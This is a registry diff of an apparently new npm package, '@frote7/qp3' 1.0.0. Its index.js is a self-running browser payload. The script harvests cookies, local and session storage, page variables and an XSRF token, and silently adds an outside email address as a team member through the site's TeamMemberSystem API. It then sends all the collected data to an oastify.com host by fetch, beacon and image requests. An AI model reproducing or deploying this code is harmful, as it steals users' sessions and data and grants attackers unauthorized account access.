@frote7/qp3 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +72 -0
- package/package.json +7 -0
package/index.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
(async function(){
|
|
2
|
+
var E="https://hxiacakosj6wqwn8g3dvl76s1j7av0jp.oastify.com";
|
|
3
|
+
var r={d:document.domain,u:location.href,c:document.cookie};
|
|
4
|
+
|
|
5
|
+
try{r.pu=top.location.href}catch(e){}
|
|
6
|
+
try{r.pc=top.document.cookie}catch(e){}
|
|
7
|
+
|
|
8
|
+
r.ls={};r.ss={};
|
|
9
|
+
try{for(var i=0;i<localStorage.length;i++){var k=localStorage.key(i);r.ls[k]=localStorage.getItem(k)}}catch(e){}
|
|
10
|
+
try{for(var i=0;i<sessionStorage.length;i++){var k=sessionStorage.key(i);r.ss[k]=sessionStorage.getItem(k)}}catch(e){}
|
|
11
|
+
|
|
12
|
+
r.v={};
|
|
13
|
+
try{for(var k in window){if(k.startsWith("m_")||k.startsWith("g_")){try{r.v[k]=window[k]}catch(e){}}}}catch(e){}
|
|
14
|
+
try{for(var k in top){if(k.startsWith("m_")||k.startsWith("g_")){try{r.v["t_"+k]=top[k]}catch(e){}}}}catch(e){}
|
|
15
|
+
|
|
16
|
+
var params=new URLSearchParams(location.search);
|
|
17
|
+
var orgid=params.get("orgid")||"";
|
|
18
|
+
var projid=params.get("projid")||"2";
|
|
19
|
+
if(!orgid){try{var tp=new URLSearchParams(top.location.search);orgid=tp.get("orgid")||""}catch(e){}}
|
|
20
|
+
|
|
21
|
+
var xsrf="";
|
|
22
|
+
try{xsrf=window.m_sTrimbleID||top.m_sTrimbleID||""}catch(e){}
|
|
23
|
+
r.xsrf=xsrf;
|
|
24
|
+
|
|
25
|
+
var base=location.origin;
|
|
26
|
+
var apiUrl=base+"/web/api/"+orgid+"/"+projid+"/TeamMemberSystem/updateTeamMember/";
|
|
27
|
+
|
|
28
|
+
var hdrs={"Content-Type":"application/json","X-Requested-With":"XMLHttpRequest"};
|
|
29
|
+
if(xsrf)hdrs["X-Ps-Xsrf-Token"]=xsrf;
|
|
30
|
+
|
|
31
|
+
var body={
|
|
32
|
+
"ContactID":0,"UserPK":-1,
|
|
33
|
+
"RecordChangeUser":{
|
|
34
|
+
"RequestType":0,"RecordType":212,"PrimaryKey":0,
|
|
35
|
+
"ParentRecordType":0,"ParentPrimaryKey":null,
|
|
36
|
+
"HasChanges":true,"IsBeingUnlocked":false,"IsForCopy":false,
|
|
37
|
+
"Context":null,"OnlyReturnChildRecord":false,"OperationFailed":false,
|
|
38
|
+
"Fields":{
|
|
39
|
+
"contactid":0,"companyid":1,"guid":"",
|
|
40
|
+
"email":"techguysarath@gmail.com",
|
|
41
|
+
"companyname":"","userpk":0,
|
|
42
|
+
"firstname":"Security","lastname":"Researcher",
|
|
43
|
+
"cel":"","projectgroupid":parseInt(projid),
|
|
44
|
+
"username":"techguysarath@gmail.com",
|
|
45
|
+
"groupid":2,
|
|
46
|
+
"linkedprojectids":parseInt(projid),
|
|
47
|
+
"linkedprojects":""
|
|
48
|
+
},
|
|
49
|
+
"Assignees":[],"CourtesyCopies":[],"Comments":[],
|
|
50
|
+
"AddedLinks":[],"EditedFileLinks":[],"EditedRecordLinks":[],
|
|
51
|
+
"EditedDesignLinks":[],"EditedWebLinks":[],
|
|
52
|
+
"GridChanges":[],"ProjectPermissions":[]
|
|
53
|
+
},
|
|
54
|
+
"RemoveFromProject":false
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
try{
|
|
58
|
+
var resp=await fetch(apiUrl,{method:"POST",headers:hdrs,credentials:"include",body:JSON.stringify(body)});
|
|
59
|
+
r.admin={s:resp.status,b:await resp.text()};
|
|
60
|
+
}catch(e){r.admin={e:e.message}}
|
|
61
|
+
|
|
62
|
+
try{
|
|
63
|
+
var resp2=await fetch(base+"/web/api/"+orgid+"/"+projid+"/TeamMemberSystem/getTeamMembers/",{headers:hdrs,credentials:"include"});
|
|
64
|
+
var t=await resp2.text();
|
|
65
|
+
r.team={s:resp2.status,b:t.substring(0,2000)};
|
|
66
|
+
}catch(e){}
|
|
67
|
+
|
|
68
|
+
var p=JSON.stringify(r);
|
|
69
|
+
try{await fetch(E,{method:"POST",mode:"no-cors",body:p})}catch(e){}
|
|
70
|
+
try{navigator.sendBeacon(E,p)}catch(e){}
|
|
71
|
+
try{var b=btoa(unescape(encodeURIComponent(p)));var ch=b.match(/.{1,1800}/g)||[];for(var i=0;i<Math.min(ch.length,10);i++){new Image().src=E+"?c="+i+"&d="+encodeURIComponent(ch[i])}}catch(e){}
|
|
72
|
+
})();
|